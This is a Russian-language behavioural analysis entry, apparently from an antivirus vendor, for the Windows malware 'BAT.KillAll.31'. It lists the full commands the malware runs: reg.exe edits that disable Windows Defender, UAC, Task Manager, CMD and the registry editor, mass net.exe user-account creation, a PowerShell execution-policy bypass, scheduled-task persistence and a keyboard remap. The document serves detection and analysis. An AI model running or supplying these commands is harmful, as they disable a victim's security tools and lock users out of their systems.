BAT.KillAll.31

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Win32Edit' = '%WINDIR%\Win32Edit\editer.bat'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinDefendHelper' = '%WINDIR%\WinDefend\firewall.vbs'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinDefendFirewall' = '%WINDIR%\WinDefend\helper.vbs'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\windefendhelper
<SYSTEM32>\tasks\windefendfirewall

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Интерпретатора командной строки (CMD)
Диспетчера задач (Taskmgr)
Редактора реестра (RegEdit)
Системный антивирус (Защитник Windows)

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Запускает на исполнение

'<SYSTEM32>\net.exe' user lol ugottrashed /add
'<SYSTEM32>\net.exe' user eehfuehfu nyuaegf /add
'<SYSTEM32>\net.exe' user uidhuhew 834utrsadk /add
'<SYSTEM32>\net.exe' user uw3irujs jyzusalER /add
'<SYSTEM32>\net.exe' user ur80efaio Ihuhcs /add
'<SYSTEM32>\net.exe' user hiuaehr4iwe UJ8ujdee3j /add
'<SYSTEM32>\net.exe' user uuryrgt347 OIufdhhf /add
'<SYSTEM32>\net.exe' user huihrwreui43 hujwehuihi /add
'<SYSTEM32>\net.exe' user huieqwehur48483 huh3u4h /add
'<SYSTEM32>\net.exe' user 8238uhsebu bgYGuH /add
'<SYSTEM32>\net.exe' user HGh7u34 rhuhasu /add
'<SYSTEM32>\net.exe' user 8eijIUJ8IB UY4Y278DGYZHJ /add
'<SYSTEM32>\net.exe' user UIHiuu843 848yuuhs /add
'<SYSTEM32>\net.exe' user u34ur8 Iu8r3hb!* /add

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\windefend\helper.vbs
%WINDIR%\windefend\firewall.vbs
%WINDIR%\windefend\firwall.vbs
%WINDIR%\win32edit\editer.bat
%WINDIR%\win32edit\lol
%WINDIR%\win32edit\userpurge.ps1

Другое

Создает и запускает на исполнение

'<SYSTEM32>\wscript.exe' %WINDIR%\WinDefend\firewall.vbs
'<SYSTEM32>\wscript.exe' %WINDIR%\WinDefend\helper.vbs
'<SYSTEM32>\wscript.exe' %WINDIR%\WinDefend\firewall.vbs' (со скрытым окном)
'<SYSTEM32>\wscript.exe' %WINDIR%\WinDefend\helper.vbs' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' user ur80efaio Ihuhcs /add
'<SYSTEM32>\net1.exe' user hiuaehr4iwe UJ8ujdee3j /add
'<SYSTEM32>\net1.exe' user uuryrgt347 OIufdhhf /add
'<SYSTEM32>\net1.exe' user huihrwreui43 hujwehuihi /add
'<SYSTEM32>\net1.exe' user huieqwehur48483 huh3u4h /add
'<SYSTEM32>\net1.exe' user uidhuhew 834utrsadk /add
'<SYSTEM32>\net1.exe' user uw3irujs jyzusalER /add
'<SYSTEM32>\net1.exe' user 8238uhsebu bgYGuH /add
'<SYSTEM32>\net1.exe' user UIHiuu843 848yuuhs /add
'<SYSTEM32>\net.exe' user gy8BGJ 3gh8Y
'<SYSTEM32>\net1.exe' user gy8BGJ 3gh8Y
'<SYSTEM32>\net1.exe' user u34ur8 Iu8r3hb!* /add
'<SYSTEM32>\net.exe' user u8r
'<SYSTEM32>\net1.exe' user HGh7u34 rhuhasu /add
'<SYSTEM32>\net1.exe' user 8eijIUJ8IB UY4Y278DGYZHJ /add
'<SYSTEM32>\net1.exe' user eehfuehfu nyuaegf /add
'<SYSTEM32>\net1.exe' user lol ugottrashed /add
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "userpurge.ps1"
'<SYSTEM32>\schtasks.exe' /create /tn "WinDefendFirewall" /tr "wscript.exe %WINDIR%\WinDefend\firewall.vbs" /sc minute /mo 1 /st 00:00
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win32Edit" /t REG_SZ /d "%WINDIR%\Win32Edit\editer.bat" /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WinDefendHelper" /t REG_SZ /d "%WINDIR%\WinDefend\firewall.vbs" /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WinDefendFirewall" /t REG_SZ /d "%WINDIR%\WinDefend\helper.vbs" /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\schtasks.exe' /create /tn "WinDefendHelper" /tr "wscript.exe %WINDIR%\WinDefend\helper.vbs" /sc minute /mo 1 /st 00:00
'<SYSTEM32>\reg.exe' add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v WallPaper /t REG_SZ /d "" /f
'<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 0 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 000000000000000000000000000000000000000000000000000000000000000000000000000000000000...
'<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v SolidColor /t REG_SZ /d "255 255 255" /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 255 255" /f
'<SYSTEM32>\net1.exe' user u8r
'<SYSTEM32>\taskeng.exe' {F96FA60E-17DB-4FB5-B1F5-34619F2DA3BA} S-1-5-21-1238866942-1249195528-555854008-1000:yawqow\user:Interactive:[1]